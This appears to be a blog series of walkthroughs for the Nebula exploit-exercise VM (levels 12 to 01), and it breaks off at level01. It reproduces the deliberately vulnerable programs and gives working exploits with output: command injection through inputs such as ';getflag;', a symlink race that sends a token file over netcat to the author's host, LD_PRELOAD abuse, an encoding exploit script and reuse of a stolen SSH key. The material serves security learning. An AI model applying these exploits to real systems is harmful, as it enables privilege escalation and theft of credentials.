Nebula exploit exercises walkthrough – level12

There is a backdoor process listening on port 50001.

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password) 
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
    print("trying " .. line) -- log from where ;\
    local h = hash(line)

    if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
      client:send("Better luck next time\n");
    else
      client:send("Congrats, your token is 413**CARRIER LOST**\n")
    end

  end

  client:close()
end

My experience with Lua is minimal at best, but it’s pretty obvious that the hash() function calls a shell command, and allows for command injection.

To run getflag is very simple:

level12@nebula:~$ telnet 127.0.0.1 50001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: 1;/bin/getflag > /tmp/level12;echo 1
Better luck next time
Connection closed by foreign host.
level12@nebula:~$ cat /tmp/level12 
You have successfully executed getflag on a target account

And if you want to pass the check for the hash for fun, it is also simple:

level12@nebula:~$ telnet 127.0.0.1 50001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: 4754a4f4bd5787accd33de887b9250a0691dd198;echo 1
Congrats, your token is 413**CARRIER LOST**
Connection closed by foreign host.

Nebula exploit exercises walkthrough – level11

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both πŸ™‚

#include 
#include 
#include 
#include 
#include 
#include 
#include 

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
    'A' + (random() % 26), '0' + (random() % 10), 
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }  

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }

}

Now it gets interesting. This is the first bit of code where it isn't obvious what the intent is from a quick glance.

I think I have found three ways to get this to execute getflag, though one is just a variation of another.

The code reads from stdin, then checks for "Content-Length: ", reads a length integer, and then processes this.

There are a number of paths from this point. If the length is less than the buf length (1024), then fread is called. Then there is a bug.

This is what happens on this code path:

if(fread(buf, length, 1, stdin) != length) {

But later on:

pink = fread(buf, 1, sizeof(buf), stdin);

From the man page of fread:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.

fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).

Whilet both read in the same data, the return values will be different. The first will return 1, the second will return the number of chars read.

This means the only way to get to process with the length less than 1024 is to set the length to 1. This restricts our options a fair bit.

We'll try it out though:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220^': command not found

As expected, the value we pass (E, arbitrary choice) gets "processed" to become D. system is then called, but because we can only provide a single character, we can't null terminate the command, and we get some random values after.

We can see these values vary each time we run it:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220': command not found

One thing that does happen though is that, by chance, we end up with a null being in the right place:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found

This is pure luck. The rest of buffer is uninitialized and nulls are common in uninitialised memory.

If we now symbolic link D to /bin/getflag, and alter the path so it runs D when the null is in the right place:

level11@nebula:/tmp$ ln -s /bin/getflag D
level11@nebula:/tmp$ export PATH=/tmp/:$PATH
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\340\312': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D@3: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260\207': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260\372': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\020i': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'DP\366': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

Hmmph. Why is it not the flag account? I think this is a bug - the call to system isn't preceded by setresuid/setresgid, so anything it runs will run as the real UID (level11) instead of the effective UID (flag11).

Co-incidentally, I had recently read of a technique to fill uninitialised memory. It's virtually useless in the real world - using uninitalised memory is indicative of much bigger issues. It's interesting though, so let's try it here.

This technique uses an environment variable called LD_PRELOAD. This is commonly used to override library functions for debugging (or exploits!). When the linker starts up, it reads the entirity of LD_PRELOAD onto the stack and then doesn't clean up afterwards. This means we can initialise the memory to something under out control:

level11@nebula:~$ export LD_PRELOAD=`python -c 'print "/bin/getflag\x0a"*1000'`

i.e. fill the stack with one thousand /bin/getflags.

Then when we run flag11 with length of 1, it will almost certainly have this in the buffer already:

level11@nebula:~$ echo -ne "Content-Length: 1\n " | /home/flag11/flag11 
sh: !getflag: command not found
getflag is executing on a non-flag account, this doesn't count
getflag is executing on a non-flag account, this doesn't count
getflag is executing on a non-flag account, this doesn't count
... lots of repeats ...
sh: line 74: /bin/getfl=qm: No such file or directory
level11@nebula:~$ 

Again the same issue with suid/system, but I think it counts.

Now we need to come back to the length being 1024 or more. What happens here?

There is a really simple encryption function:

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

We can easily build the reverse of this in Python and output a string:

string = "/bin/getflag\x00"
key = 0

enc_string = ""

for char in string:
    enc_char = ord(char) ^ key & 0xff
    enc_string += chr(enc_char)
    key = key - ord(char) & 0xff

print "Content-Length: 1024\n" + enc_string + "\x00" * (1024 - len(enc_string))

(note, that I terminated the command with newline (x0a) to start with, which was causing this to fail)

We can then pipe this into the executable, to run the command:

level11@nebula:~$ python level11a.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

Simple!

Aside

Whilst playing around with this level, I thougut there might be something I could do with the random path/filename that is used when the content length is 2014 or greater.

The filename is normally of the form:

open("/tmp/28949.Y1cU0f", O_RDWR|O_CREAT, 0600) = 3

As seen from strace. This is PID (process ID) with a "random" string.

We can gain control of this string, the filename, and stop it from being deleted. This uses LD_PRELOAD, but for it's genuine use.

First, we must check that the executable is dynamically linked:

level11@nebula:~$ file /home/flag11/flag11 
/home/flag11/flag11: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

Good.

Now we need to create a c file to override the functions we want - random(), unlink() and getpid():


// Take control of random
int random(){
   return 0;
}

// Stop the file being deleted
int unlink(const char *pathname) {
   return 0; 
}

// Take control of the reported PID
int getpid() {
   return 1;
}

The we compile it into a library, set LD_PRELOAD, and then run the executable:

level11@nebula:~$ gcc --shared -fPIC unrandom.c -o unrandom.o
level11@nebula:~$ export LD_PRELOAD=$PWD/unrandom.o
level11@nebula:~$ python level11a.py | strace /home/flag11/flag11
open("/tmp/1.A0aA0a", O_RDWR|O_CREAT, 0600) = 3

And now we have control of the filename, and it is preserved rather than deleted.

level11@nebula:~$ ls -asl /tmp
total 64
0 drwxrwxrwt 5 root    root     600 2014-06-07 01:02 .
0 drwxr-xr-x 1 root    root     240 2014-06-03 03:36 ..
4 -rw------- 1 level11 level11 1024 2014-06-07 01:00 1.A0aA0a
level11@nebula:~$ cat /tmp/1.A0aA0a 
l?.?3??R

Not of any real use, but a handy technique.

Nebula exploit exercises walkthrough – level10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
    int fd;
    int ffd;
    int rc;
    struct sockaddr_in sin;
    char buffer[4096];

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

    fd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(host);
    sin.sin_port = htons(18211);

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
      printf("Unable to connect to host %s\n", host);
      exit(EXIT_FAILURE);
    }

#define HITHERE ".oO Oo.\n"
    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
      printf("Unable to write banner to host %s\n", host);
      exit(EXIT_FAILURE);
    }
#undef HITHERE

    printf("Connected!\nSending file .. "); fflush(stdout);

    ffd = open(file, O_RDONLY);
    if(ffd == -1) {
      printf("Damn. Unable to open file\n");
      exit(EXIT_FAILURE);
    }

    rc = read(ffd, buffer, sizeof(buffer));
    if(rc == -1) {
      printf("Unable to read from file: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

    write(fd, buffer, rc);

    printf("wrote file!\n");

  } else {
    printf("You don't have access to %s\n", file);
  }
}

I think I can already see the problem.

Firstly, we can see that the token file we need to read out is permissioned such that level10 cannot see it:

level10@nebula:/home/flag10$ ls -asl
total 14
0 drwxr-x--- 2 flag10 level10   93 2011-11-20 21:22 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag10 flag10   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag10 flag10  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
1 -rw-r--r-- 1 flag10 flag10   675 2011-05-18 02:54 .profile
1 -rw------- 1 flag10 flag10    37 2011-11-20 21:22 token

On line x above, we have the following:

 if(access(argv[1], R_OK) == 0) {

From the man page of access:

access() checks whether the calling process can access the file path‐
name.

The check is done using the calling process's real UID and GID, rather
than the effective IDs as is done when actually attempting an operation
(e.g., open(2)) on the file.

So we check the file permissions using the real UID (level10), but then later on we do:

    ffd = open(file, O_RDONLY);

and open uses the effective UID, and as the executable has suid, this means flag10.

This is commonly called a time-of-use to time-of-check or TOCTOU bug (Wikipedia's example is pretty much exactly the same issue)

If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.

First, let's just check the program works as expected.

Setup a listening netcat on my host using:

andrew@andrews-mbp:~/nebula$ nc -l 18211

And then run it on nebula with a file we have access to:

level10@nebula:/home/flag10$ cat /tmp/token
testing token
level10@nebula:/home/flag10$ ./flag10 /tmp/token 10.211.55.2
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!

And we receive it at the other end, plus a little banner:

testing token
andrew@andrews-mbp:~/nebula$ nc -l 18211
.oO Oo.
testing token

Ok - so how do we explout the race condition? The best way to swap the file about is to use symolic links again. How do we time that though? I'm fundamentally a lazy person, so let's try and just swap out the files as quickly as we can and hope it works.

First, let's setup a loop that flips a symbolic link from the real token to a fake one repeatedly:

level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token toctoutok; ln -sf /tmp/fake_token toctoutok; done &
[1] 12297

The f switch on ln makes sure we overwrite the existing symbolic link. The & at the end puts the job into the background.

Then let's setup the listening netcat to keep on listening rather than exit using the k switch.

andrew@andrews-mbp:~/nebula$ nc -kl 18211

And finally, let's run flag10 repeatedly using another bash one-liner:

level10@nebula:/tmp$ while true; do /home/flag10/flag10 /tmp/toctoutok 10.211.55.2; done 
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
You don't have access to /tmp/toctoutok

Go back to netcat and we have the token:

andrew@andrews-mbp:~/nebula$ nc -kl 18211
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
Fake Token

There we go - the password for flag10.

Nebula exploit exercises walkthrough – level08

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

level08@nebula:/home/flag08$ ls -asl
total 18
0 drwxr-x--- 1 flag08 level08   80 2014-06-03 05:30 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
4 -rw------- 1 flag08 flag08    13 2014-06-03 05:30 .bash_history
1 -rw-r--r-- 1 flag08 flag08   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag08 flag08  3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 flag08 flag08    60 2014-06-03 05:19 .cache
9 -rw-r--r-- 1 root   root    8302 2011-11-20 21:22 capture.pcap
1 -rw-r--r-- 1 flag08 flag08   675 2011-05-18 02:54 .profile

A readable pcap file in the flag08 home directory. This is a network capture, so might have some interesting traffic.

Now… we can read this on the terminal using tcpdump:

level08@nebula:/home/flag08$ tcpdump -qns 0 -X -r capture.pcap 
reading from file capture.pcap, link-type EN10MB (Ethernet)
22:23:12.267566 IP 59.233.235.218.39247 > 59.233.235.223.12121: tcp 0
	0x0000:  4510 003c a0e1 4000 4006 4a3e 3be9 ebda  E..<..@.@.J>;...
	0x0010:  3be9 ebdf 994f 2f59 9d18 14c1 0000 0000  ;....O/Y........
	0x0020:  a002 3908 8fad 0000 0204 05b4 0402 080a  ..9.............
	0x0030:  011b b420 0000 0000 0103 0307            ............
22:23:12.267694 IP 59.233.235.223.12121 > 59.233.235.218.39247: tcp 0
	0x0000:  4500 003c 0000 4000 4006 eb2f 3be9 ebdf  E..<..@.@../;...
	0x0010:  3be9 ebda 2f59 994f baa8 fa41 9d18 14c2  ;.../Y.O...A....
	0x0020:  a012 3890 a988 0000 0204 05b4 0402 080a  ..8.............
	0x0030:  02c2 2ee1 011b b420 0103 0305            ............
22:23:12.267956 IP 59.233.235.218.39247 > 59.233.235.223.12121: tcp 0
	0x0000:  4510 0034 a0e2 4000 4006 4a45 3be9 ebda  E..4..@.@.JE;...
	0x0010:  3be9 ebdf 994f 2f59 9d18 14c2 baa8 fa42  ;....O/Y.......B
	0x0020:  8010 0073 1070 0000 0101 080a 011b b420  ...s.p..........
	0x0030:  02c2 2ee1                                ....

Even when it is this prettied up, it’s still hard work – especially if it is a keyboard interactive process. People using the keyboard expect instant feedback – they press a key, they what to see the screen change. This means that there is a lot of back and forth. Compare this to, say, a request for a web page, which is machine generated and will fit neatly into packets.

So I want to get this file into Wireshark on my local machine. How can we do that? netcat!

(note that these instructions have OS X as the remote end – the command name and options syntax vary from OS to OS)

On the host machine, we do the following:

andrew@andrews-mbp:~$ nc -l 2001 > capture.pcap

Listen on port 2001, and pipe any output to the file capture.pcap.

and on the client (Nebula machine) we do this:

level08@nebula:/home/flag08$ nc 10.211.55.2 2001 < capture.pcap 

Connect to port 2001 and pipe capture.pcap down the connection.

Now we have our file at the other end, it is an easy taste to run Wireshark and open the capture.Wireshark

There is a single connection between two given IPs here. The trace is still hard to follow though, so go to Analyze -> Follow TCP stream. This gives us a nice, coherent conversation:
Conversation

We can see a login to another machine. We are just going to have to hope for some password re-use. The password bit looks like:

Password: backdoor...00Rm8.ate

However, those . are not . - they are characters not represented by display characters. Switch the view to hex view and we can see:

Hex view

Hex view

x7f - DEL (well, backspace). That makes the password backd00Rmate

Nebula exploit exercises walkthrough – level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

The code of the CGI script is provided (and can be viewed in /home/flag07):

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
	$host = $_[0];

	print("Ping results
");

	@output = `ping -c 3 $host 2>&1`;
	foreach $line (@output) { print "$line"; } 

	print("

");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Immediately you can see this is not sanitising or validating the input parameter Host that it passes to a command – ping. We can therefore pass it another command for it to execute.

Let’s test the script out, from the command line to start with:

level07@nebula:/home/flag07$ ./index.cgi Host=127.0.0.1
Content-type: text/html

Ping results PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.019 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.012/0.015/0.019/0.005 ms
level07@nebula:/home/flag07$ 

(I’ve stripped out HTML as I am lazy and can’t be bothered getting it to format correctly).

It just runs ping against localhost, as expected.

Run it without parameters, and we get the help:

level07@nebula:/home/flag07$ ./index.cgi
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination

And then let’s check we can inject a command:

level07@nebula:/home/flag07$ ./index.cgi Host=;ls -asl
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
total 10
0 drwxr-x--- 2 flag07 level07  102 2011-11-20 20:39 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
1 -rwxr-xr-x 1 root   root     368 2011-11-20 21:22 index.cgi
1 -rw-r--r-- 1 flag07 flag07   675 2011-05-18 02:54 .profile
4 -rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf

Excellent.

The challenge now is that, for the first time, this script isn’t set to run suid. If I try running getflag, it isn’t going to work.

level07@nebula:/home/flag07$ ./index.cgi Host=;getflag
Content-type: text/html

Ping results Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
getflag is executing on a non-flag account, this doesn't count

That thttpd.conf file in flag07’s home directory looks interesting. Could he be running a test web server?

level07@nebula:/home/flag07$ cat thttpd.conf 
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies what user to switch to after initialization when started as root.
user=flag07

Excellent – a web server on port 7007.

So, we need to:

  • Connect to the web server running on localhost at port 7007
  • Request a index.cgi
  • Pass a Host parameter with a command being careful to URL escape all of the special chars

wget is a simple utility present on nearly all Linux boxes that allows us to get a webpage.

wget http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
--2014-06-05 04:23:34--  http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag
Connecting to 127.0.0.1:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.cgi?Host=;getflag'

    [ <=>                                   ] 136         --.-K/s   in 0.009s  

2014-06-05 04:23:34 (14.6 KB/s) - `index.cgi?Host=;getflag' saved [136]

We just need to escape the semi-colon to be %3B.

Check the content of the file and we have run getflag as a flag07.

level07@nebula:/tmp$ cat index.cgi\?Host\=\;getflag
Ping results You have successfully executed getflag on a target account

Nebula exploit exercises walkthrough – level05

Check the flag05 home directory. You are looking for weak directory permissions

Let’s start looking in /home/flag05:

level05@nebula:/home/flag05$ ls -asl
total 9
0 drwxr-x--- 1 flag05 level05   80 2014-06-03 04:19 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
0 drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
4 -rw------- 1 flag05 flag05    13 2014-06-03 04:19 .bash_history
1 -rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 flag05 flag05    60 2014-06-03 04:17 .cache
1 -rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
0 drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh

Compare to the home directory of level05:

level05@nebula:/home/flag05$ ls -asl /home/level05
total 9
0 drwxr-x--- 1 level05 level05  100 2014-06-04 21:55 .
0 drwxr-xr-x 1 root    root     420 2012-08-27 07:18 ..
4 -rw------- 1 level05 level05  298 2014-06-03 04:19 .bash_history
1 -rw-r--r-- 1 level05 level05  220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 level05 level05 3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 level05 level05   60 2014-06-03 04:15 .cache
1 -rw-r--r-- 1 level05 level05  675 2011-05-18 02:54 .profile

So we have .ssh – the store of SSH keys for the user – and .backup. The .ssh directory is locked down so we can’t see it.

Let’s look in .backup:

level05@nebula:/home/flag05/.backup$ ls -asl
total 2
0 drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
0 drwxr-x--- 1 flag05 level05   80 2014-06-03 04:19 ..
2 -rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz

A single backup .tgz. Let’s copy it out to our own home directory and unpack.

level05@nebula:~$ cp /home/flag05/.backup/backup-19072011.tgz ./
level05@nebula:~$ tar zxvf backup-19072011.tgz 
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

That’s the private (id_rsa) and public (id_rsa.pub) keys for flag05. They may well work on the local machine:

level05@nebula:~$ ssh flag05@localhost
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Simple. That’s why you should keep your private key private!

Nebula exploit exercises walkthrough – level04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it πŸ™‚

#include 
#include 
#include 
#include 
#include 
#include 

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
    printf("%s [file to read]\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
    printf("You may not access '%s'\n", argv[1]);
    exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
    err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
    err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

This program looks like it will read the file passed to it by the first argument. Let’s test that out:

level04@nebula:/home/flag04$ ./flag04 
./flag04 [file to read]
level04@nebula:/home/flag04$ ./flag04 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Everything as expected then. The problem is that it explicitly forbids opening of files called token. How can we get round this?

Symbolic links to the rescue again!

level04@nebula:~$ ln -s /home/flag04/token Token
level04@nebula:~$ /home/flag04/flag04 /home/level04/Token
06508b5e-8909-4f38-b630-fdb148a848a2

Just create a symbolic link to a name that doesn’t match “token”.

So what is this long string? Seems sensible to try and login to the flag04 account with it:

flag04@nebula:~$ getflag
You have successfully executed getflag on a target account

Nebula exploit exercises walkthrough – level03

level03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

cron is a utility used to run tasks periodically, found in nearly every distro.

In /home/flag03, we have a script – writable.sh – and a directory – writable.d.

level03@nebula:/home/flag03$ ls -sl
total 1
0 drwxrwxrwx 1 flag03 flag03 40 2014-06-03 03:39 writable.d
1 -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh

Let’s take a look at writable.sh:

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

This is fairly simple – for each file in the writable.d directory, execute the scripts contained within, and then delete them. bash -x runs the script in a trace mode, to give you a bit more detail about when it is running. I think we can ignore ulimit -t 5 – it just limits the CPU time available to the shell, possibly to stop a malicious script consuming excess resources.

Note that the writable.d directory is world read/write – so we can just put a script in there:

level03@nebula:~$ cat getflag.sh 
#!/bin/sh

/bin/getflag >> /tmp/flag03.out
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

Then wait a short while, assuming that the writable.sh script is the one being run by cron…

level03@nebula:/tmp$ ls -sl
total 4
4 -rw-rw-r-- 1 flag03 flag03 59 2014-06-04 09:39 flag03.out
level03@nebula:/tmp$ cat flag03.out 
You have successfully executed getflag on a target account

Aside

Now – this is all well and good, but if we weren’t told that the script was run by cron, what could we do?

There is a root user in the Nebula VM, and using that I can do:

nebula@nebula:/var/spool/cron$ sudo crontab -u flag03 -l
*/3 * * * * /home/flag03/writable.sh

But I can’t do that as level03:

level03@nebula:/tmp$ crontab -u flag03 -l
must be privileged to use -u

Also, I could use ps to see that the process runs, but that would presume that I knew it was cron’ed anyway.

So, not sure how I would go about finding cron jobs as an unprivileged user.

I’ve asked on the Unix Stack Exchange.

Nebula exploit exercises walkthrough – level02

level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

include 
include 
include 
include 
include 

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Another executable that calls system(). This time the command run is built up using an environment variable, USER.

Running the executable gives the expected result:

level02@nebula:/home/flag02$ ls -asl 
total 13
0 drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
0 drwxr-xr-x 1 root   root     400 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
1 -rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$ 

The executable is suid. Notice that although it calls system() and sets the setresgid()/setresuid() so that it runs as the owner of the file, the environment variable USER is still for the real UID, level02.

It’s really easy to change environment variables though.

level02@nebula:/home/flag02$ export USER=";getflag;"
level02@nebula:/home/flag02$ echo $USER
;getflag;
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo ;getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
level02@nebula:/home/flag02$ 

This is a good reason to not trust environment variables for security purposes.

Aside

I didn’t fully understand why setresgid()/setresuid() had to be called for system() to run as the file owner. I built the same executable from source to experiment, set the owner, group and permissions as needed, but it didn’t work!

I spent a fair amount of time trying to figure this out, and it wasn’t until I did:

level02@nebula:/home/flag02$ cat /etc/fstab
overlayfs / overlayfs rw 0 0
tmpfs /tmp tmpfs nosuid,nodev 0 0

I was trying to run them out of /tmp/ and the whole directory doesn’t allow suid use…

Nebula exploit exercises walkthrough – level01

level01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

#include 
#include 
#include 
#include 
#include 
 
int main(int argc, char **argv, char **envp)
{
	gid_t gid;
	uid_t uid;
	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

